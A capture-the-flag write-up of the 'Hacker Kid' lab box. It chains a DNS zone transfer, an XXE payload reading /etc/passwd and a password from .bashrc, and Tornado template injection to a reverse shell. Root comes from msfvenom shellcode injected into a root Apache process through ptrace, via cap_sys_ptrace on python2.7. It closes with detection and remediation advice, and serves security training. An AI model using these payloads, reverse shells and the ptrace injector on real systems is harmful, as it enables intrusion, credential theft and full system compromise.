Hacker Kid — DIG me more
A taunting hacker, a DNS server begging to be dug, and a chain where no two steps look alike. A hidden GET parameter leaks a subdomain, a zone transfer confirms it, an XXE in a hand-rolled XML form reads a password off disk, Tornado template injection turns a login into a shell — and root comes from a single Linux capability on python2.7, used to inject shellcode straight into a root process. No kernel exploit, no SUID, no sudo.
Executive summary
Hacker Kid is OSCP-style: enumeration-heavy, lightly guessy, with a hint dropped at every gate. What makes it worth writing up isn't the foothold — XXE and SSTI are textbook — it's the privilege escalation. Instead of the usual PwnKit or SUID GTFObin, root here hangs on a file capability, cap_sys_ptrace+ep set on /usr/bin/python2.7. That one capability lets an unprivileged user attach a debugger to a root process and rewrite its instructions — a cleaner, quieter escalation than dropping a kernel exploit, and a good reminder that capabilities are SUID's less-watched cousin.
| Credential / artifact | Value | Recovered via |
|---|---|---|
| vhost | hackers.blackhat.local | page_no=21 disclosure |
| zone / vhost | hackerkid.blackhat.local | AXFR zone transfer (SOA contact) |
| saket app creds | Saket!#$%@!! | XXE read of ~/.bashrc |
| saket shell | uid=1000 | Tornado SSTI RCE |
| python2.7 | cap_sys_ptrace+ep | getcap — the root primitive |
| root | uid=0 | ptrace shellcode injection into apache |
Three ports and a riddle
A full TCP sweep turns up DNS, HTTP, and a non-standard high port.
$ sudo nmap -p- --min-rate 3000 192.168.56.135 PORT STATE SERVICE 53/tcp open domain 80/tcp open http 9999/tcp open abyss # actually a Python Tornado app
The homepage on :80 is a themed "A Hacker Kid" page. Its HTML comments hold the first thread:
$ curl -s http://192.168.56.135/ | grep -i 'GET param' TO DO: Use a GET parameter page_no to view pages.
Fuzzing page_no and watching response size, one value stands out from the pack:
$ for i in $(seq 1 100); do echo "$i $(curl -s "http://192.168.56.135/?page_no=$i" | wc -c)"; done | sort -k2 -n | uniq -f1 -c 99 100 3654 1 21 3849 # page_no=21 is the odd one out
Diffing page_no=21 against any other page extracts the hint — and the box's name theme pays off:
$ diff <(curl -s ".../?page_no=1") <(curl -s ".../?page_no=21") > ...I created some subdomains to return back on the server whenever i want!! > Out of my many homes...one such home for me : hackers.blackhat.local
Zone transfer
A subdomain plus an open port 53 plus a page that keeps shouting "DIG me" is about as loud a hint as a box gives. The domain is blackhat.local; the move is an AXFR zone transfer, which a misconfigured DNS server will hand over in full.
$ echo '192.168.56.135 blackhat.local hackers.blackhat.local' | sudo tee -a /etc/hosts $ dig axfr @192.168.56.135 blackhat.local blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 ... blackhat.local. 10800 IN NS ns1.blackhat.local. blackhat.local. 10800 IN MX 10 mail.blackhat.local. hacker.blackhat.local. 10800 IN CNAME hacker.blackhat.local.blackhat.local. # decoy loop
Read the SOA, not just the records. The interesting vhost isn't an A record — it's hiding in the SOA responsible-party field: hackerkid.blackhat.local. The hacker.blackhat.local CNAME points at itself and is a decoy, and the A records all point at the author's old 192.168.14.x build network, so everything gets mapped back to .135 by hand.
$ sudo sed -i 's/^192.168.56.135 .*/192.168.56.135 blackhat.local hackers.blackhat.local hackerkid.blackhat.local/' /etc/hosts
XXE in a hand-built form
The hackerkid.blackhat.local vhost is a registration page. Its source gives the game away — the form doesn't post JSON or form-encoded fields, it concatenates an XML document by hand in JavaScript and POSTs it raw to process.php:
// from the page source
var xml = '<?xml version="1.0" encoding="UTF-8"?>' +
'<root><name>' + $('#name').val() + '</name>' +
'<tel>' + $('#tel').val() + '</tel>' +
'<email>'+ $('#email').val()+ '</email>' +
'<password>' + $('#password').val() + '</password></root>';
xmlhttp.open("POST","process.php",true); xmlhttp.send(xml);
Server-side XML parsing of attacker-controlled input is the classic XXE setup. First find which field is reflected back — only a reflected field can leak file contents:
$ curl -s http://hackerkid.blackhat.local/process.php \ -d '<root><name>aaa</name><tel>111</tel><email>bbb</email><password>ccc</password></root>' Sorry, bbb is not available !!! # email is echoed → inject there
Define an external entity pointing at a file and drop it into email:
$ curl -s http://hackerkid.blackhat.local/process.php \ -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>a</name><tel>1</tel><email>&xxe;</email><password>c</password></root>' Sorry, root:x:0:0:root:/root:/bin/bash ... saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash is not available !!!
One real login user: saket. Dotfiles contain < and & that break the XML response, so read them through PHP's base64 filter wrapper instead of plain file://:
$ curl -s .../process.php -d '...<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">...' \ | sed 's/^Sorry, //; s/ is not available !!!$//' | base64 -d | tail #Setting Password for running python app username="admin" password="Saket!#$%@!!"
Mind what the creds are for. The comment says it plainly — this password is for the Python app, not saket's system account. It won't work for sudo; it's the login for the Tornado service on :9999. Chasing it as a sudo password is a rabbit hole the box quietly sets.
Tornado SSTI
Logging into the :9999 app as saket / Saket!#$%@!! lands on a page that asks for your name via a name GET parameter and echoes it back. Reflected input into a Python web framework is a template-injection check waiting to happen:
GET /?name={{7*7}} Hello 49 # evaluated — Tornado template injection
Tornado templates allow {% import %}, so SSTI goes straight to code execution. A reflected os.popen call confirms the context before going for a shell:
GET /?name={% import os %}{{os.popen('id').read()}} Hello uid=1000(saket) gid=1000(saket) groups=...,27(sudo),131(lxd),...
A /dev/tcp bash one-liner connected and died instantly — os.popen spawns /bin/sh (dash), which has no /dev/tcp. A self-contained Python reverse shell holds where the bash one didn't, base64-wrapped so the template doesn't choke on the quoting:
GET /?name={% import os %}{{os.popen('echo <base64 python rev shell> | base64 -d | bash').read() }} $ nc -lvnp 4444 connect to [192.168.56.117] from 192.168.56.135 ... saket@ubuntu:~$ # foothold
Two different failures, two different fixes. Base64 solved "get the payload through URL + template parsing intact." Switching bash→Python solved "keep the socket alive." A reverse shell that connects then dies instantly is almost always the /dev/tcp/dash problem, not the network — a useful tell to keep separate from "never connects at all," which is network or encoding.
A capability, not an exploit
saket is in sudo and lxd, but the app password isn't saket's system password (sudo just rejects it), and lxc isn't even installed — both are deliberate dead ends. SUID enumeration is all stock binaries. The real primitive shows up only under a capability scan:
$ /sbin/getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep /usr/bin/ping = cap_net_raw+ep ...
cap_sys_ptrace lets a process call ptrace() on processes it otherwise couldn't. Crucially it overrides Yama: even with /proc/sys/kernel/yama/ptrace_scope = 1 (attach-to-children-only), the capability lets python2.7 attach to any process — including ones running as root. That's the whole escalation: attach to a root process, overwrite its instruction pointer with shellcode, let it run.
# stage the shellcode
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.117 LPORT=5555 -f python # 74-byte raw stub, dropped into the injector below
# the injector (run by python2.7, the capable binary)
# inject.py — ctypes ptrace, no external deps libc.ptrace(PTRACE_ATTACH, pid, 0, 0) # stop target, become its tracer (cap bypasses Yama) libc.wait(None) # block until it's really stopped libc.ptrace(PTRACE_GETREGS, pid, 0, byref(r)) # read regs → current RIP # overwrite code at RIP with shellcode, 8 bytes per POKETEXT for i in range(0, len(sc), 8): libc.ptrace(PTRACE_POKETEXT, pid, rip+i, word) libc.ptrace(PTRACE_DETACH, pid, 0, 0) # resume → runs shellcode as the target's user (root)
# fire it at the root apache master
saket@ubuntu:~$ pgrep -u root apache2 | tail -1 803 saket@ubuntu:~$ /usr/bin/python2.7 /tmp/inject.py 803 injected into 803 at rip 7f... $ nc -lvnp 5555 connect to [192.168.56.117] from 192.168.56.135 ... # id uid=0(root) gid=0(root) groups=0(root)
Timing gotcha. The apache master usually sits blocked in epoll_wait, so the overwritten RIP doesn't execute until it returns from that syscall — nudge it with a single curl http://192.168.56.135/ and the shellcode fires. If a chosen PID never wakes, grab a fresher worker from pgrep and re-run; the inject is cheap and repeatable.
Root shell, via the intended path — a capability abuse, start to finish, with no kernel CVE in sight.
Detecting and closing it
# detection
- Zone transfers. An
AXFRfrom an untrusted client is almost never legitimate. Log and alert on it; a singledig axfragainst an internet-facing resolver is a recon fingerprint. - XXE. Outbound or local file reads driven by request bodies containing
<!DOCTYPE/<!ENTITY/SYSTEM, orphp://filterstrings, especially against an XML endpoint. WAF rules onENTITYin POST bodies catch the naive version. - SSTI. Template metacharacters (
{{ }},{% %}) in parameters, and process-tree anomalies — a web app spawning/bin/sh,bash, orpythonis the tell. - ptrace abuse.
ptrace(PTRACE_ATTACH,...)by a non-debugger process, especially one attaching to a daemon, is high-signal. auditd on theptracesyscall, or an EDR watching for cross-UID attach, catches this cold. A root daemon suddenly executing a reverse shell is the downstream signal.
# remediation
- Strip the capability.
setcap -r /usr/bin/python2.7(or remove the interpreter). No general-purpose interpreter should carrycap_sys_ptrace— it's equivalent to handing out root. - Disable XXE at the parser.
libxml_disable_entity_loader(true)/ disable external entity resolution. Never build XML from string concatenation of user input. - Sandbox templates. Never render user input as a template. If unavoidable, use an autoescaping, logic-less engine and pass user data strictly as variables.
- Lock DNS. Restrict
allow-transferto known secondaries; deny AXFR to the world. - Raise Yama.
kernel.yama.ptrace_scope=2(admin-only) hardens the baseline — though note it does not stop a process that holdscap_sys_ptrace, which is why removing the capability is the real fix.